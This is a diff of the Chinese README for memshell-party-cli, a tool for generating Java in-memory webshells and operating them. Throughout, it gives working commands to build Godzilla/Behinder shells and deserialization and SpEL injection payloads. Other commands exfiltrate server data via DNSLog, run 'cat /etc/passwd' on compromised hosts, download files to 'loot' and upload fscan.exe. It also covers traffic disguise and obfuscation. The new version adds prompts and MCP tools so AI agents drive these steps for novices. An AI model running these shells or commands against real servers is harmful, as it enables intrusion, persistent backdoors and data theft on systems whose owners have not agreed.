memshell-party-cli 0.6.0 → 0.8.0

package/README.md

@@ -1,419 +1,241 @@
-# memshell-party-cli
-
-[English](README.en.md) | 中文
-
-[MemShellParty](https://party.mem.mk) 的命令行客户端 **兼** MCP 服务器 —— 直接在终端（或 AI
-代理）里生成 Java 内存马和探测马，走的是与 `party.mem.mk/ui` 相同的 HTTP API。
-
-> ⚠️ 仅限授权安全测试、红队行动与研究用途。如何使用由你自己负责。
-
-## 功能特性
-
-- **交互式向导** —— 不带参数运行 `memparty gen`，从实时拉取的 API 菜单中选择
-  服务器 / 工具 / 类型 / 打包器。
-- **完全可脚本化** —— 每个选项都有对应命令行参数，CI 或脚本中可以精确复现；
-  `--json` 模式下连错误都是结构化 JSON（`{"ok":false,"error":...}`）。
-- **REPL** —— 裸 `memparty` 进入交互循环，一次会话跑多个命令，目标名随存随用。
-- **MCP 服务器** —— `memparty mcp` 把生成和配置能力暴露为工具，供 Claude 及其他 MCP 客户端调用。
-- **覆盖全部端点** —— 内存马生成、探测马生成、配置查询、类名解析、版本查询。
-- **连接测试** —— `memparty connect` 验证已部署的 哥斯拉 / 冰蝎 / suo5 马是否存活、
-  凭证是否正确（回显 / 握手双向校验）。
-- **命令执行** —— `memparty exec` 在已部署的哥斯拉 / 冰蝎马上执行命令并回显输出
-  （真实 `execCommand` / `Cmd` payload 往返）。
-- **文件传输** —— `memparty upload` / `memparty download` 在哥斯拉 / 冰蝎马上传下载文件，
-  分块传输 + 完整性校验（哥斯拉校验远端大小，冰蝎比对 MD5）。
-- **命名目标** —— `memparty save` 把 shell 存进项目（支持备注 + 分类），之后
-  `memparty exec web1/bh9060 --cmd "whoami"` 一个名字就够。
-- **操作日志** —— 每次 gen/probe/connect/exec/download/upload/save/note/remove 操作都追加到
-  `~/.memparty/operations.jsonl`，`memparty log` 按分类和目标查询。
-- **灵活的输出** —— payload 默认输出到 stdout，`-o file` 写文件（`.class`/`.jar` 自动
-  base64 解码）。
-- **任意后端** —— 默认使用公共站点，可切换为自建实例。
-
-## 安装
-
-```bash
-npm install -g memshell-party-cli
-# 或者免安装直接运行：
-npx memshell-party-cli gen
-```
-
-要求 Node.js >= 18。
-
-## 选择后端
-
-优先级从高到低：`--api` 参数 → `MEMPARTY_API_URL` 环境变量 → `~/.mempartyrc`
-（`{"apiUrl": "..."}`）→ 默认 `https://party.mem.mk`。
-
-建议自建（Docker 一行命令，见 MemShellParty 的 README）：
-
-```bash
-memparty --api http://127.0.0.1:8080 gen
-# 或者
-export MEMPARTY_API_URL=http://127.0.0.1:8080
-```
-
-## 用法
-
-### 交互模式
-
-裸 `memparty` 进入 REPL：一个进程里连续执行任意子命令，配合自动保存的命名目标，
-一次会话打通 生成 → 验证 → 执行：
-
-```text
-memparty> connect -u http://192.0.2.10/shell.jsp -t behinder --header-value my-secret-token
-saved as '192.0.2.10/behinder'
-memparty> exec 192.0.2.10/behinder --cmd whoami
-memparty> list
-memparty> exit
-```
-
-带参数运行时行为不变（管道 / CI 里裸 `memparty` 仍打印帮助）。REPL 内 `help` 查看命令、
-`<子命令> --help` 查看示例、`exit`/`quit` 退出。`gen` / `probe` 的交互向导在 REPL 里照常可用：
-
-```bash
-memparty gen        # 内存马向导（REPL 外）
-memparty probe      # 探测马向导
-```
-
-当必需参数缺失且处于终端环境时，向导会自动启动。随时可用 `-i` 强制开启，或用
-`--no-interactive` 禁用。
-
-### 脚本化生成
-
-```bash
-# 生成 Tomcat 哥斯拉 Listener，单个 Base64 payload 输出到 stdout
-memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
-  --godzilla-pass pass --godzilla-key key --jdk java8
-
-# 写出解码后的 .class 文件（.class/.jar 会自动 base64 解码）
-memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
-  --godzilla-pass pass --godzilla-key key -o shell.class
-
-# 指定加密器的命令执行马
-memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
-  --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
-
-# 输出完整 JSON（元数据 + payload），便于后续处理
-memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
-```
-
-`--jdk` 接受 `java6/8/9/11/17/21`、纯数字（`8`）或 class 文件主版本号（`52`）。
-
-注意：部分打包器（如 `Base64`）是*聚合*打包器，会一次返回多个变体；要单个 payload 请选
-叶子打包器（如 `DefaultBase64`、`GzipBase64`）。
-
-### 查询可用选项
-
-```bash
-memparty config servers          # 服务器及其 shell 类型
-memparty config tools Tomcat     # 指定服务器的工具 + 类型
-memparty config packers          # 打包器父子树
-memparty config command          # Command 马的加密器与实现类
-memparty config servers --json   # 机器可读输出
-```
-
-### 探测马
-
-```bash
-memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name cmd
-memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
-```
-
-探测方法 × 内容矩阵（后端仅支持以下组合）：
-
-| 方法 `-m` | 支持的内容 `-c` |
-|-----------|------------------|
-| `DNSLog` | `Server`, `JDK` |
-| `Sleep` | `Server` |
-| `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` |
-
-### 测试已部署的马
-
-`memparty connect` 检查已经注入 / 上传的 shell 是否真的会应答 —— 它执行真实的协议握手
-（冰蝎回显、哥斯拉 payload 上传 + `test()` 调用、suo5 隧道握手），成功退出码 0，失败 1。
-
-```bash
-# 哥斯拉（默认：--pass pass --key key）
-memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key
-
-# 冰蝎（默认：--pass rebeyond）
-memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond
-
-# suo5（自动识别 v2 握手与旧版 v1 回显；可用 --suo5-mode v2|v1 强制指定）
-memparty connect -u http://target/suo5.jsp -t suo5
-```
-
-MemShellParty 生成的 shell 带门禁头校验 —— 取值在 `gen --json` 输出的
-`shellToolConfig.headerName` / `headerValue` 中，**必须**原样传给 connect
-（Suo5v2 的 shell 同样校验）：
-
-```bash
-memparty connect -u http://target/x -t godzilla --pass pass --key key \
-  --header-name User-Agent --header-value my-secret-token
-```
-
-其他参数：`-H "Name: value"` 添加自定义请求头，`-k/--insecure` 跳过自签名 TLS 校验，
-`--json` 机器可读输出，`--timeout <ms>`（全局选项）。
-
-### 在已部署的马上执行命令
-
-`memparty exec` 通过已部署的哥斯拉 / 冰蝎 shell 执行命令，并打印远端 stdout+stderr。
-走的是真实协议 —— 哥斯拉调用 payload 的 `execCommand` 方法（argv 以 `arg-0..N` 传递，
-外面包 `cmd.exe /c` 或 `/bin/sh -c`）；冰蝎上传 `Cmd` payload 类（它自己根据远端
-`os.name` 选择 shell）。
-
-```bash
-# 哥斯拉 —— 默认先调 getBasicsInfo 自动探测远端系统（多一次请求）；
-# 传 --os windows|linux 可跳过探测
-memparty exec -u http://target/shell.jsp -t godzilla --pass pass --key key --cmd "whoami"
-
-# 冰蝎 —— payload 自己探测系统，无额外请求
-memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond --cmd "cat /etc/passwd"
-```
-
-门禁头参数与 `connect` 相同；`--json` 返回 `{ ok, tool, url, command, output, durationMs }`，
-方便脚本与 agent 使用。
-
-### 文件上传 / 下载
-
-`memparty upload` / `memparty download` 在已部署的哥斯拉 / 冰蝎 shell 上传输文件（真实
-协议：哥斯拉调 payload 的 `uploadFile`/`bigFileUpload`/`bigFileDownload` 方法，冰蝎上传
-`FileOperation` payload 类走 create+append / downloadPart）。大文件自动分块；哥斯拉传输后
-校验远端文件大小，冰蝎比对远端 MD5——校验不过直接报错，不会留下"看起来成功"的坏文件。
-
-```bash
-# 下载：默认落到当前目录的远端同名文件；-o 指定目标（目录则保留远端文件名）
-memparty download -u http://target/shell.jsp -t godzilla --pass pass --key key \
-  --header-value my-secret-token /etc/passwd -o loot/passwd
-
-# 已存在的本地文件不会被覆盖，除非显式 --force
-memparty download web1 /var/log/app.log --force
-
-# 上传：覆盖写远端文件（截断 + 写入），上限 64 MiB
-memparty upload web1/bh9060 ./fscan.exe "C:\Windows\Temp\f.exe"
-```
-
-失败语义要清楚：远端文件不存在、凭证错误、分块重试耗尽都会以退出码 1 报错；上传中途失败
-时报错会提示远端文件可能是残缺的。`--json` 返回
-`{ ok, tool, url, direction, remotePath, localPath, bytes, durationMs }`。
-
-非 ASCII 路径：冰蝎总是可用（路径经 class 常量池传输，与平台字符集无关）；哥斯拉的路径参数
-由服务端按平台默认字符集解码——JDK 18+ 与 Linux 都是 UTF-8，无需任何处理；老 JDK（8/11/17）
-的中文 Windows 目标是 GBK，传中文路径时加 `--remote-charset GBK`（MCP 参数 `remoteCharset`）。
-冰蝎对 >128 MiB 的文件改用尺寸校验代替 MD5（payload 的 check 会逐字节读全文件）。
-单文件上限：哥斯拉 2 GiB（payload 的 int 限制），冰蝎上传 64 MiB、下载 2 GiB。
-
-### 命名目标（项目）
-
-保存一次，之后用名字引用 —— 不用再抄一串参数。shell 存放在**项目**里：一个项目
-归组同一次任务的多台 shell，并可带 `--remark` 备注和 `--category` 分类。
-存储文件为 `~/.memparty/targets.json`。
-
-`connect` / `exec` 成功后会**自动保存**为 `<主机>/<工具>`（如 `192.0.2.10/behinder`，
-加 `--no-save` 跳过），下次直接报这个名字即可；也可以用 `save` 显式指定名字：
-
-```bash
-# 保存（项目自动创建；--remark/--category 是项目级属性，
-# --shell-remark 是这台 shell 自己的备注）
-memparty save web1/bh9060 -u http://192.0.2.10:9060/console/service \
-  -t behinder --pass rebeyond --header-name User-Agent --header-value my-secret-token \
-  --remark "内网测试环境 WebSphere" --category test --shell-remark "root 权限"
-
-# 列出全部（可按 --category <名称> 过滤）
-memparty list
-
-# 使用：<项目>/<shell>；项目里只有一个 shell 时光写项目名也行
-memparty connect web1/bh9060
-memparty exec web1 --cmd "whoami"
-
-# 改项目备注 / 改某台 shell 的备注 / 清理
-memparty note web1 --remark "新备注" --category prod
-memparty note web1/bh9060 --remark "新的 shell 备注"
-memparty remove web1/bh9060   # 删单个 shell
-memparty remove web1          # 删整个项目
-```
-
-显式参数仍会覆盖已存值（如 `memparty exec web1 --cmd id --pass 其他密码`）。
-
-### 操作日志
-
-每次操作（gen、probe、connect、exec、download、upload、save/note/remove）都以一行 JSON 追加到
-`~/.memparty/operations.jsonl` —— 记录目标、结果、耗时，exec 还记录命令和截断后的输出。
-凭证、payload 内容和传输的文件内容不会写入日志。
-
-```bash
-memparty log                          # 最近 50 条，新的在前
-memparty log --category exec          # 只看命令执行
-memparty log --target web1           # 某个项目（或主机名子串）的全部操作
-memparty log --category connect --json
-```
-
-## 示例
-
-端到端配方。**打包器**按投递途径选择，**shell 类型**按目标选择（Tomcat 10+ /
-Spring Boot 3 加 `Jakarta` 前缀；`Agent*` 类型搭配 `AgentJar*` 打包器）。拿不准时先运行
-`memparty config tools <server>` 和 `memparty config packers`。
-
-### 1. Tomcat 9（javax）上的哥斯拉内存马
-
-```bash
-# Listener 型哥斯拉马，单个 base64 payload 到 stdout
-memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
-  --godzilla-pass pass --godzilla-key key --jdk java8
-
-# ……或直接把解码后的注入器 .class 写到磁盘
-memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
-  --godzilla-pass pass --godzilla-key key -o shell.class
-```
-
-### 2. 同一个马用于 Tomcat 10+ / Spring Boot 3（Jakarta）
-
-```bash
-memparty gen -s Tomcat -t Godzilla -y JakartaListener -p DefaultBase64 \
-  --godzilla-pass pass --godzilla-key key --jdk java17
-```
-
-### 3. 纯命令执行马（RCE）
-
-```bash
-memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
-  --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec --jdk java8
-```
-
-### 4. 反序列化利用链（如 CommonsBeanutils ≤ 1.9.4）
-
-```bash
-memparty gen -s Tomcat -t Godzilla -y Listener -p JavaCommonsBeanutils19 \
-  --godzilla-pass pass --godzilla-key key --jdk java8
-# 其他链：JavaCommonsBeanutils18/17/16/110, JavaCommonsCollections3/4
-```
-
-### 5. 表达式注入投递（SpEL / OGNL / EL / Groovy …）
-
-```bash
-# Spring SpEL 注入 -> define + load shell 类（Spring 用 Interceptor，不是 Filter）
-memparty gen -s SpringWebMvc -t Command -y Interceptor -p SpEL \
-  --command-param-name cmd --jdk java8
-# OGNL (Struts2), EL, MVEL, Aviator, JEXL, JXPath, Groovy, Velocity, Freemarker, JinJava ...
-# （SpEL/OGNL/JXPath 是*聚合*打包器 —— 会一次返回多个变体）
-```
-
-### 6. 落地一个 JSP 文件
-
-```bash
-memparty gen -s Tomcat -t Godzilla -y Listener -p DefineClassJSP \
-  --godzilla-pass pass --godzilla-key key --jdk java8 -o shell.jsp
-```
-
-### 7. Java agent 内存马（扛得住重部署，挂钩更深）
-
-```bash
-memparty gen -s Tomcat -t Godzilla -y AgentFilterChain -p AgentJar \
-  --godzilla-pass pass --godzilla-key key --jdk java8 -o agent.jar
-```
-
-### 8. 先做（盲）指纹识别
-
-```bash
-# DNSLog：确认可执行代码，并通过 DNS 带出服务器/JDK 名称
-memparty probe -m DNSLog -c Server -p DefaultBase64 --host <你的>.dnslog.cn
-# Sleep：时间盲注 —— 仅当服务器与你猜的一致时才延迟 N 秒
-memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
-```
-
-探测马报出的服务器名称就是 `memparty gen` 里 `-s` 要用的值。
-
-### 解析类名
-
-```bash
-memparty parse-classname --file shell.class
-memparty parse-classname <class字节的base64>
-```
-
-### 版本
-
-```bash
-memparty version          # CLI 版本 + 后端服务器版本
-```
-
-## MCP 服务器
-
-以 stdio 方式作为 MCP 服务器运行：
-
-```bash
-memparty mcp --api http://127.0.0.1:8080
-```
-
-Claude Code / Claude Desktop 配置示例：
-
-```json
-{
-  "mcpServers": {
-    "memshell-party": {
-      "command": "npx",
-      "args": ["-y", "memshell-party-cli", "mcp"],
-      "env": { "MEMPARTY_API_URL": "http://127.0.0.1:8080" }
-    }
-  }
-}
-```
-
-暴露的工具：`list_servers`、`list_config`、`list_packers`、`list_command_configs`、
-`generate_memshell`、`generate_probe`、`parse_classname`、`server_version`、`connect_test`、
-`exec_command`、`download_file`、`upload_file`、`target_save`、`target_note`、`target_list`、
-`target_remove`、`log_list`。
-
-## AI 技能（Claude Code）
-
-本包附带一个 [Claude Code 技能](https://docs.claude.com/en/docs/claude-code/skills)，位于
-`skills/memshell-party/SKILL.md`，教 AI 代理如何驱动 MemShellParty ——
-服务器/工具/类型/打包器决策树、探测方法×内容矩阵、按场景选打包器的指导，以及常见坑
-（Jakarta 与 javax 之分、JDK 目标版本、聚合与叶子打包器）。
-
-安装到项目中（或放到 `~/.claude/skills/` 全局使用）：
-
-```bash
-# 在包根目录下，或 npm install memshell-party-cli 之后：
-mkdir -p .claude/skills
-cp node_modules/memshell-party-cli/skills/memshell-party .claude/skills/ -r
-```
-
-之后用自然语言提问即可，比如 *"生成一个 Tomcat 10 的哥斯拉 Listener"* 或
-*"给一个 Spring Boot 2 应用的 CommonsBeanutils 反序列化 payload"* —— 技能会引导代理
-先枚举选项，再按投递途径选合适的打包器。
-
-## 编程调用
-
-包内还提供带类型的 API 客户端：
-
-```ts
-import { MemPartyClient, buildMemShellRequest } from "memshell-party-cli";
-
-const client = new MemPartyClient({ baseUrl: "http://127.0.0.1:8080" });
-const res = await client.generateMemShell(
-  buildMemShellRequest({
-    server: "Tomcat",
-    shellTool: "Godzilla",
-    shellType: "Listener",
-    packer: "DefaultBase64",
-    godzillaPass: "pass",
-    godzillaKey: "key",
-    jdk: "java8",
-  }),
-);
-console.log(res.memShellResult.shellClassName, res.packResult);
-```
-
-## 开发
-
-```bash
-npm install
-npm run build       # tsup -> dist/
-npm test            # vitest
-npm run typecheck   # tsc --noEmit
-```
-
-## 许可证
-
-MIT
+# memshell-party-cli
+
+[English](README.en.md) | 中文
+
+[MemShellParty](https://party.mem.mk) 的命令行客户端 + MCP 服务器：生成 Java 内存马、探测目标、连马验证、执行命令、传输文件。设计给 AI 代理(Claude Code 等)用自然语言操作，也可以自己当普通命令行敲。
+
+> ⚠️ 仅限授权安全测试、红队演练与研究。请勿用于未授权目标，后果自负。
+
+## 它能做什么
+
+| 能力 | 说明 |
+|------|------|
+| **生成内存马** | 约 17 种中间件/框架（Tomcat、Jetty、JBoss、WebLogic、SpringWebMvc、Undertow、Resin、Struts2…），9 种工具（哥斯拉、冰蝎、蚁剑、Command、suo5、NeoreGeorg、Proxy、自定义 class），Listener/Filter/Servlet/Agent 等多种挂载方式，60+ 种打包器（Base64、JSP、反序列化链、SpEL/OGNL 表达式注入、AgentJar…） |
+| **盲探测 probe** | 不知道目标是什么中间件时，先用 DNSLog / Sleep / 回显探测服务器类型和 JDK 版本 |
+| **字节码工具** | 解码任意 class，改名、包名替换、添加入口方法、混淆、回显 Wrapper 和打包 |
+| **连马验证 connect** | 用真实协议握手验证马是否存活、密码对不对（哥斯拉/冰蝎/suo5/mimic） |
+| **执行命令 exec** | 在已部署的哥斯拉/冰蝎马上执行命令，自动识别 Windows/Linux |
+| **传文件 upload/download** | 大文件自动分块，传完校验完整性（哥斯拉比大小、冰蝎比 MD5） |
+| **目标管理 save/list** | 把马保存成"项目/名字"，以后 `memparty exec web1 --cmd whoami` 不用再敲一长串参数 |
+| **操作日志 log** | 每次操作自动记录到本地文件，不记录密码和文件内容 |
+| **流量伪装 mimic** | 手写一份站点 profile，让马的流量长得和目标站点的正常页面一样 |
+| **交互模式** | 直接敲 `memparty` 进入 REPL；`memparty gen` 进入向导，按菜单选 |
+
+所有生成的马都带一个认证 header（在 `gen --json` 的输出里），别人扫到 URL 也用不了你的马。
+
+## 两种用法
+
+1. **让 AI 用（推荐）** — 装上配套 skill / MCP 后，直接用大白话指挥 AI，它负责选参数、敲命令、处理报错。
+2. **自己敲命令** — 完整的 CLI，每个选项都有对应参数，可脚本化；`--json` 输出方便集成。
+
+## 快速上手：让 AI 帮你操作
+
+### 第 1 步：安装本工具
+
+1. 电脑装好 [Node.js](https://nodejs.org/)（选 LTS，18 或更新）
+2. 打开终端，复制粘贴：
+
+```bash
+npm install -g memshell-party-cli
+```
+
+3. 检查是否成功：
+
+```bash
+memparty version
+```
+
+能看到版本号就 OK。
+
+### 第 2 步：把使用手册教给 AI（Skill）
+
+Skill 是给 AI 看的完整说明书。装好后，AI 会按手册一步步操作，不用你懂技术。
+
+**用 Claude Code 的，执行：**
+
+```bash
+memparty skill install --claude
+```
+
+**用别的 AI 代理的，执行：**
+
+```bash
+memparty skill install
+```
+
+**两个都想装：**
+
+```bash
+memparty skill install --user --claude
+```
+
+装完后**重启一下你的 AI 工具**（关掉再打开），它才会读到新 skill。
+
+以后升级了本工具，再跑一遍上面的安装命令，就能刷新说明书。
+
+### 第 3 步：给 AI 接上 MCP（可选，但推荐）
+
+让 AI 能直接调用本工具。在 AI 的 MCP 配置里加上：
+
+```json
+{
+  "mcpServers": {
+    "memshell-party": {
+      "command": "npx",
+      "args": ["-y", "memshell-party-cli", "mcp"]
+    }
+  }
+}
+```
+
+保存后重启 AI。
+
+### 第 4 步：直接对 AI 说话
+
+**先确认 skill 在不在（推荐每次新开对话先说这句）：**
+
+```text
+请先读取 memshell-party 这个 skill，然后严格按 skill 里的步骤操作，不要自己瞎猜参数。
+```
+
+**生成一个马：**
+
+```text
+请按 memshell-party skill，帮我生成一个常用的 Tomcat 哥斯拉内存马。
+把文件、密码、密钥都给我，并用简单话告诉我下一步怎么做。
+```
+
+**连上马并执行命令：**
+
+```text
+请按 memshell-party skill 操作。
+网址：【http://这里换成你的地址】
+类型：哥斯拉，密码：【pass】，密钥：【key】。
+先测能不能连上，连上后执行 whoami，用简单话告诉我结果。
+```
+
+**传文件：**
+
+```text
+请按 memshell-party skill。
+在已经连上的马上：
+下载服务器上的【/etc/passwd】到本地；
+上传本地【工具.exe】到服务器【/tmp/工具.exe】。
+```
+
+**我完全不懂，你带我：**
+
+```text
+我是小白。请先读取 memshell-party skill，然后一步一步带我：
+1. 生成一个常用的 Tomcat 哥斯拉内存马
+2. 用大白话告诉我生成结果里哪些要保存
+3. 我部署好后把网址发给你，你帮我连上并执行命令
+每一步先说明要做什么，等我确认再继续。只在我授权的环境操作。
+```
+
+## 快速上手：自己敲命令
+
+命令一览：
+
+| 命令 | 干什么 |
+|------|--------|
+| `memparty gen` | 生成内存马（不带参数进入交互向导） |
+| `memparty probe` | 生成探测马，盲测目标中间件/JDK |
+| `memparty bytecode` | 解码、转换和打包任意 `.class` |
+| `memparty connect` | 验证马是否存活、凭据对不对 |
+| `memparty exec` | 在马上执行命令 |
+| `memparty upload` / `download` | 通过马上传/下载文件 |
+| `memparty save` / `list` / `note` / `remove` | 保存目标、按名字管理 |
+| `memparty log` | 查操作日志 |
+| `memparty config` | 查后端支持的中间件/工具/打包器 |
+| `memparty profile` / `custom build` / `demo` | mimic 流量伪装：写站点画像、构建自定义马、本地演示 |
+| `memparty skill install` | 给 AI 装使用手册 |
+| `memparty mcp` | 启动 MCP 服务器 |
+| `memparty parse-classname` | 解析 .class 的类名 |
+| `memparty version` | 查看 CLI 和后端版本 |
+
+典型流程：
+
+```bash
+# 1. 生成一个 Tomcat 哥斯拉马（Listener 型，base64 输出，自动解码写成 .class）
+memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
+  --godzilla-pass pass --godzilla-key key -o shell.class
+
+# 2. 部署后验证是否存活（header 值在 gen --json 的输出里）
+memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key \
+  --header-name User-Agent --header-value <token>
+
+# 3. 存成名字，以后不用敲参数
+memparty save web1 -u http://target/shell.jsp -t godzilla --pass pass --key key \
+  --header-name User-Agent --header-value <token>
+
+# 4. 执行命令、传文件
+memparty exec web1 --cmd "whoami"
+memparty download web1 /etc/passwd -o loot/passwd
+```
+
+生成时的几个细节：
+
+- `-o` 和 `--json` 可以同时用：文件照常写盘，JSON 里多一个 `outputFile` 字段（路径、大小、是否解码）。
+- v3 中 `Base64` 等父项只是 packer 分类，要选具体变体（如 `DefaultBase64`）；旧 v2 后端仍支持聚合 packer，但不能配 `-o`。
+- v3 支持 `--obfuscate`、`--obfuscation-options key=value,...`、`--obfuscation-scope`（仅内存马）和 `--jdk java25`。
+- 探测支持 `-m ResponseHeader`；可用 `--resp-header-name` 指定回显头，未知中间件时 `--server Unknown`。
+- 走 MCP 时，`generate_memshell` / `generate_probe` 有个 `outputFile` 参数，效果同上。
+- Agent 加载参数使用 `--agent-args persist=true` 或 `--agent-args restore=true`；它是 attach 参数，不会发送给生成 API。JSON 和终端会给出 `java -jar agent.jar <pid> persist=true`、`jattach <pid> load instrument false agent.jar=persist=true` 示例。
+- 哥斯拉 WebSocket / RawWebSocket 使用 `ws://` 或 `wss://` 地址；Tomcat Upgrade 使用 HTTP 地址并加 `--upgrade-protocol <shellClassName>`。`GodzillaSession` 生成后仍选 `-t godzilla` 连接，客户端会保留会话 Cookie。
+
+### 字节码转换
+
+```bash
+memparty bytecode decode -f Payload.class
+memparty bytecode transform -f Payload.class \
+  --relocate-from javax.servlet --relocate-to jakarta.servlet -o JakartaPayload.class
+memparty bytecode transform -f Payload.class --server Tomcat \
+  --probe-method ResponseHeader -p DefaultBase64 -o Probe.class --json
+```
+
+也支持 Base64 参数或标准输入。`-o` 在没有 packer 时写转换后的 class；有 packer 时写打包结果。MCP 对应 `bytecode_decode` / `bytecode_transform`。
+
+拿不准有哪些合法取值，直接问后端（这些名字就是参数里要填的值）：
+
+```bash
+memparty config servers          # 支持哪些中间件
+memparty config tools Tomcat     # 这个中间件支持哪些工具和挂载类型
+memparty config packers          # 打包器列表（按投放方式选）
+memparty config tool-configs     # v3 各工具的参数名和枚举值
+memparty config obfuscation     # v3 混淆参数参考
+```
+
+每个命令都能加 `--help` 看详细参数和例子；完整参数参考见 [英文 README](README.en.md)。
+
+## 后端：真实测试建议自建
+
+默认用公共站 `https://party.mem.mk`，试用没问题；但真实测试别把 payload 交给公共服务——建议用 Docker 自建（见 MemShellParty 的 README），然后：
+
+```bash
+memparty --api http://127.0.0.1:8080 gen
+# 或设环境变量，一劳永逸
+export MEMPARTY_API_URL=http://127.0.0.1:8080
+```
+
+优先级：`--api` 参数 > `MEMPARTY_API_URL` 环境变量 > `~/.mempartyrc` 配置文件 > 默认公共站。
+
+## 更多文档
+
+- [mimic 自定义内存马实战指南](docs/mimic-memshell-guide.md) — 流量伪装端到端实战（人读版）
+- [自定义内存马设计方案](docs/custom-memshell-design.md) — mimic 的设计文档
+- [README.en.md](README.en.md) — 完整英文参考（全部命令、参数、MCP 工具、API 调用）
+- [skills/memshell-party/SKILL.md](skills/memshell-party/SKILL.md) — 给 AI 的操作手册，人想深入细节也可以读
+
+## 开发
+
+```bash
+npm install
+npm run build       # tsup -> dist/
+npm test            # vitest
+npm run typecheck   # tsc --noEmit
+```
+
+## 许可证
+
+MIT